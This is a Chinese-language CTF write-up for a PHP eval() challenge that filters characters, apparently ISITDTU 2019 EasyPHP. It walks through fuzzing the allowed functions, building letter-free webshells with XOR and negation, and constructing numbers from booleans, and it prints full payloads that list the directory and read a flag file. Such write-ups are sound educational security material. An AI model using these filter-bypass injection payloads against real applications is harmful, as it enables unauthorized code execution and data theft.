1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

有两个限制:

  • 过滤了数字,部分字母和一些特殊符号
  • 出现的字符不得超过13种

可用的内置函数

简单fuzz以下

1
2
3
4
5
6
7
8
$functions = get_defined_functions()['internal'];
foreach ($functions as $f) {
if (!preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $f)) {
$reflection = new ReflectionFunction($f);
if ($reflection->getNumberOfRequiredParameters() == 1) //因为,被禁了,所以只能由1个参数
file_put_contents('1.txt', $f . "\n", FILE_APPEND);
}
}

得到

1
2
3
4
5
6
7
8
9
10
11
12
rtrim
trim
ltrim
chr
unlink
tan
atan
atanh
tanh
intval
min
max

看起来chr比较有搞头,但是.被过滤了,所以即使用chr得到字符也无法拼接起来,更何况数字也全部被过滤了

无字母数字webshell

这时可以想到使用无字母数字的webshell,
无字母数字webshell主要有三种:

  • 取反
  • 异或
  • 自增

这里$被禁了,无法使用变量,所以不考虑自增

使用取反(~%8F%97%8F%96%91%99%90)();得到phpinfo

可以看到disable_functions把命令执行的函数都禁了,并且存在open_basedir,把目录范围限制在了/var/www/html

在当前的限制条件下,绕过disable_functions和open_basedir显然是不可能的,因此有以下两种思路:

  • flag在/flag下,需要写一个完整的shell再去bypass disable_functions或open_basedir
  • flag就在/var/www/html,构造一个符合条件的payload去读即可

无论是哪种,都需要使用尽可能少种类的字符。因为一个字符串取反的值是固定的,而异或可以有很多种可能,所以考虑使用异或

通过bool得到数字

这里有一个技巧,构造出bool值再将其转为整型,比如

1
2
var_dump(!!@a); //bool(true)
var_dump(!!@a+!!@a) //int(2)

为了构造出大的数字,可以使用次方运算符**

有了这个技巧,我们就可以只用!@a以及运算符号得到任意整型数字

然而,int和int异或依然是int,并且我们没办法将int按照ascii码转换为字符串(chr只能转换成一个字符,并且这里无法拼接)

我们需要字符串和字符串异或才能得到一个字符串

这时可以利用刚刚看起来没卵用的trim将int转换为string,这样我们就可以用!@a以及运算符号得到任意的数字字符串

疯狂异或

接下来就要在限定条件内,使用xxx^数字字符串得到我们想要的函数

第一个目标是var_dump(scandir(getcwd())),用来确认flag是不是在/var/www/html

php的函数不分大小写,可以使用大小写混搭的方式

通过以下脚本去寻找异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);

$targets = 'var_dump';
$numbers = "0123456789";

for ($j = 0; $j<= strlen($numbers); $j++) {
$number = $numbers[$j];
for ($i = 1; $i <= 256; $i++) {
$c = chr($i);
if (!preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $c)) {
$result = $c ^ $number;
if(stristr($targets,$result) != false)
echo urlencode($number) . ' ' . urlencode($c) . ' ' . $result . "\n";
}
}
}

搞了一万年,终于在限制条件内找到了对应的异或字符串

1
2
3
Var_dump: 75320891^aTAmTMTa
scandir: 2757003^aTTyTyA
getcwd: 315760^TtaTaT

这样只需要用到();trim!@a+y12种字符

再用以下脚本将数字转换为bool值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
target = 315760
i = 0
ten = '(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)' # 10
result = ''

while target !=0:
current = (int)(target % 10)
# print(current)
target = (int)(target / 10)
if current == 0:
i = i+1
continue
# current + 10^i
current_string = '(!!a'+'+!!a'*(current-1) + ')'
base_string = '(!!a' + '+!!a'*(i-1)
if i==0:
result = current_string
else:
current_string = current_string + '*('+ten+'**'+ base_string +'))'
result = result +'+'+current_string
# print(current_string)
i = i+1
print(result)

最后拼出的payload(好可怕。。):

1
(aTAmTMTa^trim((!!a)+(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a))+(!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a))+(!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a))))((aTTyTyA^trim((!!a+!!a+!!a)+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a))+(!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a))))((TtaTaT^trim((!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a))+(!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a))+(!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a))))()));

发现flag就在/var/www/html/

1
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(34) "n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt" }

接下来继续找异或,目标是

1
var_dump(file_get_contents(end(scandir(getcwd()))));

找到

1
2
file_get_contents: 20512315276751752^TyYtmTtamTyyatyaa
end: 170^tyT

没有使用新的字符,最后的payload:

1
(aTAmTMTa^trim((!!a)+(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a))+(!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a))+(!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a))))((TyYtmTtamTyyatyaa^trim((!!a+!!a)+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a))+(!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))))((tyT^trim((!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a))+(!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a))))((aTTyTyA^trim((!!a+!!a+!!a)+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a))+(!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a))))((TtaTaT^trim((!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a))+(!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a))+(!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a))))()))));

头都要秃了。。
这题还有另外一种解法,通过三个字符串的异或,参见https://github.com/jesux/ctf-write-ups/tree/master/isitdtu-2019/EasyPHP